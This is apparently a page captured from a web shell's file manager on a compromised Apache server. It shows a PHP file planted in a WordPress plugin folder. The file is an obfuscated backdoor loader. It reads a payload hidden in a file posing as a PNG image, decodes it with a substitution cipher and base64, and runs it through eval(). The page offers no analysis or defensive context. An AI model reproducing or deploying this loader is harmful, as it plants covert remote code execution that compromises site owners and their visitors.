HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/plugins/abexasa/ysatitu.txt
<?php

function kyzode_vygechin($esytut_zakhowyzy) {
    if ($esytut_zakhowyzy == 1)
        return mybude_okefachig();
    if ($esytut_zakhowyzy == 2)
        return ezetok_xedevyfih();
}

function nototu_ezhyshataz($esytut_zakhowyzy) {
    $myvucum = kyzode_vygechin(1);
    $kuqynef = kyzode_vygechin(2);
    for ($geshypa = 0; $geshypa < strlen($myvucum); $geshypa++) {
        $sotaleq = substr($myvucum, $geshypa, 1);
        $jipocyf = substr($kuqynef, $geshypa, 1);
        $yshadyt[$sotaleq] = $jipocyf;
    }

    $okusubo = strtr($esytut_zakhowyzy, $yshadyt);
    $okusubo = base64_decode($okusubo);

    return $okusubo;
}

function usyfur_cichigethuh($esytut_zakhowyzy) {
    $iwuhov = array();
    if (!file_exists($esytut_zakhowyzy))
        return false;
    $shawywu = @file_get_contents($esytut_zakhowyzy);
    if (!$shawywu)
        return false;
    $shawywu = substr($shawywu, 3);
    $iwuhov = nototu_ezhyshataz($shawywu);
    return $iwuhov;
}

function mybude_okefachig() {
    $shawywu = "g9uwrVqIczSoDtvpJxeMj03NblO781TWXYBP=Kd4/25AUF+sQHy6iRkEnahfZCLGm";
    return $shawywu;
}

function ezetok_xedevyfih() {
    $iwuhov = "uB3HYUlicZFTD05MEjGV2ktOwbfS1vPrA7sJ8Rq9g=NpQz+/oa6dLW4nhxCyIeKmX";
    return $iwuhov;
}

$mevozy = usyfur_cichigethuh(__DIR__ . "/asset" . "s/im" . "ages/y" . "hyser" . ".png");
if ($mevozy) {
    @eval($mevozy);
}